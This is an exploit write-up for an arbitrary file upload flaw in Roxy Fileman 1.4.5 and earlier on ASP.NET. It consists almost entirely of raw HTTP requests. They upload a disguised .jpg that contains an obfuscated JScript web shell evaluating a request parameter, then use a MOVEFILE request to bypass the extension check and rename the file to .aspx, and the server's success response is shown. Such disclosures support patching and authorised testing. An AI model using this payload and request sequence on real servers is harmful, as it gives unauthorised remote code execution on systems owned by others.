Roxy Fileman 1.4.5 – Arbitrary File Upload
# Exploit Title: Roxy Fileman 1.4.5 - Arbitrary File Upload # Date: 09/04/2023 # Exploit Author: Zer0FauLT [admindeepsec@proton.me] # Vendor Homepage: roxyfileman.com # Software Link: https://web.archive.org/web/20190317053437/http://roxyfileman.com/download.php?f=1.4.5-net # Version: <= 1.4.5 # Tested on: Windows 10 and Windows Server 2019 # CVE : 0DAY ########################################################################################## # First, we upload the .jpg shell file to the server. # ########################################################################################## POST /admin/fileman/asp_net/main.ashx?a=UPLOAD HTTP/2 Host: pentest.com Cookie: Customer=Id=bkLCsV0Qr6mLH0+CgfcP0w==&Data=/2EMzCCeHGKADtgbKxqVyPZUIM25GBCMMU+Dlc7p8eRUNvoRLZaKEsUclgMRooB3akJsVikb4hTNNkDeE1Dr4Q==; roxyview=list; roxyld=%2FUpload%2FPenTest Content-Length: 666 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8" Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygOxjsc2hpmwmISeJ Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Origin: https://pentest.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pentest.com/admin/fileman/index.aspx Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 ------WebKitFormBoundarygOxjsc2hpmwmISeJ Content-Disposition: form-data; name="action" upload ------WebKitFormBoundarygOxjsc2hpmwmISeJ Content-Disposition: form-data; name="method" ajax ------WebKitFormBoundarygOxjsc2hpmwmISeJ Content-Disposition: form-data; name="d" /Upload/PenTest ------WebKitFormBoundarygOxjsc2hpmwmISeJ Content-Disposition: form-data; name="files[]"; filename="test.jpg" Content-Type: image/jpeg ‰PNG <%@PAGE LANGUAGE=JSCRIPT EnableTheming = "False" StylesheetTheme="" Theme="" %> <%var PAY:String= Request["\x61\x62\x63\x64"];eval (PAY,"\x75\x6E\x73\x61"+ "\x66\x65");%> ------WebKitFormBoundarygOxjsc2hpmwmISeJ-- ########################################################################################## # In the second stage, we manipulate the .jpg file that we uploaded to the server. # ########################################################################################## { "FILES_ROOT": "", "RETURN_URL_PREFIX": "", "SESSION_PATH_KEY": "", "THUMBS_VIEW_WIDTH": "140", "THUMBS_VIEW_HEIGHT": "120", "PREVIEW_THUMB_WIDTH": "300", "PREVIEW_THUMB_HEIGHT":"200", "MAX_IMAGE_WIDTH": "1000", "MAX_IMAGE_HEIGHT": "1000", "INTEGRATION": "ckeditor", "DIRLIST": "asp_net/main.ashx?a=DIRLIST", "CREATEDIR": "asp_net/main.ashx?a=CREATEDIR", "DELETEDIR": "asp_net/main.ashx?a=DELETEDIR", "MOVEDIR": "asp_net/main.ashx?a=MOVEDIR", "COPYDIR": "asp_net/main.ashx?a=COPYDIR", "RENAMEDIR": "asp_net/main.ashx?a=RENAMEDIR", "FILESLIST": "asp_net/main.ashx?a=FILESLIST", "UPLOAD": "asp_net/main.ashx?a=UPLOAD", "DOWNLOAD": "asp_net/main.ashx?a=DOWNLOAD", "DOWNLOADDIR": "asp_net/main.ashx?a=DOWNLOADDIR", "DELETEFILE": "asp_net/main.ashx?a=DELETEFILE", "MOVEFILE": "asp_net/main.ashx?a=MOVEFILE", "COPYFILE": "asp_net/main.ashx?a=COPYFILE", "RENAMEFILE": "asp_net/main.ashx?a=RENAMEFILE", "GENERATETHUMB": "asp_net/main.ashx?a=GENERATETHUMB", "DEFAULTVIEW": "list", "FORBIDDEN_UPLOADS": "zip js jsp jsb mhtml mht xhtml xht php phtml php3 php4 php5 phps shtml jhtml pl sh py cgi exe application gadget hta cpl msc jar vb jse ws wsf wsc wsh ps1 ps2 psc1 psc2 msh msh1 msh2 inf reg scf msp scr dll msi vbs bat com pif cmd vxd cpl htpasswd htaccess", "ALLOWED_UPLOADS": "bmp gif png jpg jpeg", "FILEPERMISSIONS": "0644", "DIRPERMISSIONS": "0755", "LANG": "auto", "DATEFORMAT": "dd/MM/yyyy HH:mm", "OPEN_LAST_DIR": "yes" } ############################################################################################################################################################################################################################ # We say change the file name and we change the relevant "asp_net/main.ashx?a=RENAMEFILE" parameter with the "asp_net/main.ashx?a=MOVEFILE" parameter and manipulate the paths to be moved on the server as follows. # ############################################################################################################################################################################################################################ POST /admin/fileman/asp_net/main.ashx?a=RENAMEFILE&f=%2FUpload%2FPenTest%2Ftest.jpg&n=test.aspx HTTP/2 Host: pentest.com Cookie: Customer=Id=bkLCsV0Qr6mLH0+CgfcP0w==&Data=/2EMzCCeHGKADtgbKxqVyPZUIM25GBCMMU+Dlc7p8eRUNvoRLZaKEsUclgMRooB3akJsVikb4hTNNkDeE1Dr4Q==; roxyview=list; roxyld=%2FUpload%2FPenTest Content-Length: 44 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Origin: https://pentest.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pentest.com/admin/fileman/index.aspx Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 f=%2FUpload%2FPenTest%2Ftest.jpg&n=test.aspx =========================================================================================================================================================================================================================== POST /admin/fileman/asp_net/main.ashx?a=MOVEFILE&f=%2FUpload%2FPenTest%2Ftest.jpg&n=%2FUpload%2FNewFolder%2Ftest.aspx HTTP/2 Host: pentest.com Cookie: Customer=Id=bkLCsV0Qr6mLH0+CgfcP0w==&Data=/2EMzCCeHGKADtgbKxqVyPZUIM25GBCMMU+Dlc7p8eRUNvoRLZaKEsUclgMRooB3akJsVikb4hTNNkDeE1Dr4Q==; roxyview=list; roxyld=%2FUpload%2FPenTest Content-Length: 68 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Origin: https://pentest.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pentest.com/admin/fileman/index.aspx Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 f=%2FUpload%2FPenTest%2Ftest.jpg&n=%2FUpload%2FNewFolder%2Ftest.aspx ########################################################################################## # and it's done! # ########################################################################################## HTTP/2 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/10.0 X-Aspnet-Version: 4.0.30319 X-Powered-By-Plesk: PleskWin Date: Sun, 09 Apr 2023 09:49:34 GMT Content-Length: 21 {"res":"ok","msg":""} ============================================================================================= |